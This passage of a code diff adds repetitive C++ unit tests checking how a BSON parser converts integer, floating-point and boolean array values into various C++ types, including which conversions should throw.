ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + short value2a; + ASSERT_NO_THROW( + parser.getValue(value2a) + ); + EXPECT_EQ(56, value2a); +} + +TEST(BsonParserTest, getDataFromInt_3) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + int value2b; + ASSERT_NO_THROW( + parser.getValue(value2b) + ); + EXPECT_EQ(56, value2b); +} + +TEST(BsonParserTest, getDataFromInt_4) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long value2c; + ASSERT_NO_THROW( + parser.getValue(value2c) + ); + EXPECT_EQ(56, value2c); +} + +TEST(BsonParserTest, getDataFromInt_5) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long long value2d; + ASSERT_NO_THROW( + parser.getValue(value2d) + ); + EXPECT_EQ(56, value2d); +} + +TEST(BsonParserTest, getDataFromInt_6) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + short value2e; + ASSERT_NO_THROW( + parser.getValue(value2e) + ); + EXPECT_EQ(56, value2e); +} + +TEST(BsonParserTest, getDataFromInt_7) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + int value2f; + ASSERT_NO_THROW( + parser.getValue(value2f) + ); + EXPECT_EQ(56, value2f); +} + +TEST(BsonParserTest, getDataFromInt_8) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long value2g; + ASSERT_NO_THROW( + parser.getValue(value2g) + ); + EXPECT_EQ(56, value2g); +} + +TEST(BsonParserTest, getDataFromInt_9) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long long value2h; + ASSERT_NO_THROW( + parser.getValue(value2h) + ); + EXPECT_EQ(56, value2h); +} + +TEST(BsonParserTest, getDataFromInt_a) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + float value3a; + ASSERT_NO_THROW( + parser.getValue(value3a) + ); + EXPECT_EQ(56, value3a); +} + +TEST(BsonParserTest, getDataFromInt_b) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + double value3b; + ASSERT_NO_THROW( + parser.getValue(value3b) + ); + EXPECT_EQ(56, value3b); +} + +TEST(BsonParserTest, getDataFromInt_c) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + long double value3c; + ASSERT_NO_THROW( + parser.getValue(value3c) + ); + EXPECT_EQ(56, value3c); +} + +TEST(BsonParserTest, getDataFromInt_d) +{ + //std::stringstream stream(R"([56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + bool value4; + ASSERT_ANY_THROW( + parser.getValue(value4) + ); +} + +TEST(BsonParserTest, getDataFromFloat_1) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_ANY_THROW( + parser.getValue(value1) + ); +} + +TEST(BsonParserTest, getDataFromFloat_2) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + short value2a; + ASSERT_ANY_THROW( + parser.getValue(value2a) + ); +} + +TEST(BsonParserTest, getDataFromFloat_3) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + int value2b; + ASSERT_ANY_THROW( + parser.getValue(value2b) + ); +} + +TEST(BsonParserTest, getDataFromFloat_4) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + long value2c; + ASSERT_ANY_THROW( + parser.getValue(value2c) + ); +} + +TEST(BsonParserTest, getDataFromFloat_5) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + long long value2d; + ASSERT_ANY_THROW( + parser.getValue(value2d) + ); +} + +TEST(BsonParserTest, getDataFromFloat_6) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned short value2e; + ASSERT_ANY_THROW( + parser.getValue(value2e) + ); +} + +TEST(BsonParserTest, getDataFromFloat_7) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned int value2f; + ASSERT_ANY_THROW( + parser.getValue(value2f) + ); +} + +TEST(BsonParserTest, getDataFromFloat_8) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned long value2g; + ASSERT_ANY_THROW( + parser.getValue(value2g) + ); +} + +TEST(BsonParserTest, getDataFromFloat_9) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned long long value2h; + ASSERT_ANY_THROW( + parser.getValue(value2h) + ); +} + +TEST(BsonParserTest, getDataFromFloat_a) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + float value3a; + ASSERT_NO_THROW( + parser.getValue(value3a) + ); + EXPECT_EQ(12356, static_cast(value3a * 100 + .5)); +} + +TEST(BsonParserTest, getDataFromFloat_b) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + double value3b; + ASSERT_NO_THROW( + parser.getValue(value3b) + ); + EXPECT_EQ(12356, static_cast(value3b * 100 + .5)); +} + +TEST(BsonParserTest, getDataFromFloat_c) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + long double value3c; + ASSERT_NO_THROW( + parser.getValue(value3c) + ); + EXPECT_EQ(12356, static_cast(value3c * 100 + .5)); + +} + +TEST(BsonParserTest, getDataFromFloat_d) +{ + //std::stringstream stream(R"([123.56])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0C\x00\x00\x00" + "\x01" "0\x00" "\xA4\x70\x3D\x0A\xD7\xE3\x5E\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + bool value4; + ASSERT_ANY_THROW( + parser.getValue(value4) + ); +} +TEST(BsonParserTest, getDataFromBool_1) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_ANY_THROW( + parser.getValue(value1) + ); +} + +TEST(BsonParserTest, getDataFromBool_2) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + std::string value1; + ASSERT_ANY_THROW( + parser.getValue(value1) + ); +} + +TEST(BsonParserTest, getDataFromBool_3) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + short value2a; + ASSERT_ANY_THROW( + parser.getValue(value2a) + ); +} + +TEST(BsonParserTest, getDataFromBool_4) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + int value2b; + ASSERT_ANY_THROW( + parser.getValue(value2b) + ); +} + +TEST(BsonParserTest, getDataFromBool_5) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + long value2c; + ASSERT_ANY_THROW( + parser.getValue(value2c) + ); +} + +TEST(BsonParserTest, getDataFromBool_6) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + long long value2d; + ASSERT_ANY_THROW( + parser.getValue(value2d) + ); +} + +TEST(BsonParserTest, getDataFromBool_7) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned short value2e; + ASSERT_ANY_THROW( + parser.getValue(value2e) + ); +} + +TEST(BsonParserTest, getDataFromBool_8) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned int value2f; + ASSERT_ANY_THROW( + parser.getValue(value2f) + ); +} + +TEST(BsonParserTest, getDataFromBool_9) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned long value2g; + ASSERT_ANY_THROW( + parser.getValue(value2g) + ); +} + +TEST(BsonParserTest, getDataFromBool_a) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + unsigned long long value2h; + ASSERT_ANY_THROW( + parser.getValue(value2h) + ); +} + +TEST(BsonParserTest, getDataFromBool_b) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + float value3a; + ASSERT_ANY_THROW( + parser.getValue(value3a) + ); +} + +TEST(BsonParserTest, getDataFromBool_c) +{ + //std::stringstream stream(R"([true, false])"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x0D\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x02" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + TA::BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + double value3b; + ASSERT_ANY_THROW( + parser.getValue(value3b) + ); +} + +TEST(BsonParserTest, getDataFromBool_d) +{ + //std::stringstream stream(R"([true, false])"); + 